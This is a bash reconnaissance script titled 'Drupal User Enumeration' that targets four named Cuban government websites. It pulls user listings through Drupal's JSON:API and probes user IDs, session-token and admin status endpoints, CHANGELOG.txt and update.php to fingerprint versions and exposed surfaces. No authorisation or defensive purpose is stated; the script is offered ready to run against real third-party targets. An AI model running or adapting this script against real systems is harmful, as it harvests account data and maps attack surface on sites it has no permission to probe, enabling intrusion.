#!/bin/bash
echo "=== Drupal User Enumeration ==="
echo "Started: $(date)"

sites=(
  "www.fgr.gob.cu"
  "www.tsp.gob.cu"
  "www.citma.gob.cu"
  "www.parlamentocubano.gob.cu"
)

for site in "${sites[@]}"; do
  echo ""
  echo "========== $site =========="

  echo "--- /jsonapi/user/user ---"
  curl -ks --connect-timeout 15 -m 30 "https://$site/jsonapi/user/user" -H "Accept: application/json" 2>/dev/null | head -c 3000

  echo ""
  echo "--- User ID probe ---"
  for id in 1 2 3 4 5; do
    status=$(curl -ks -o /dev/null -w "%{http_code}|%{size_download}" --connect-timeout 10 -m 20 "https://$site/user/$id" 2>/dev/null)
    echo "  user/$id: $status"
  done

  echo ""
  echo "--- /jsonapi/node/article ---"
  curl -ks --connect-timeout 15 -m 30 "https://$site/jsonapi/node/article" -H "Accept: application/json" 2>/dev/null | head -c 2000

  echo ""
  echo "--- REST endpoints ---"
  for path in "/rest/session/token" "/jsonapi" "/jsonapi/node/page" "/rest/type/node/article" "/admin/reports/status/php"; do
    status=$(curl -ks -o /dev/null -w "%{http_code}|%{size_download}" --connect-timeout 10 -m 20 "https://$site$path" 2>/dev/null)
    echo "  $path: $status"
  done

  echo ""
  echo "--- CHANGELOG.txt ---"
  curl -ks --connect-timeout 10 -m 20 "https://$site/CHANGELOG.txt" 2>/dev/null | head -5

  echo ""
  echo "--- update.php ---"
  status=$(curl -ks -o /dev/null -w "%{http_code}|%{size_download}" --connect-timeout 10 -m 20 "https://$site/update.php" 2>/dev/null)
  echo "  update.php: $status"
done

echo ""
echo "Completed: $(date)"
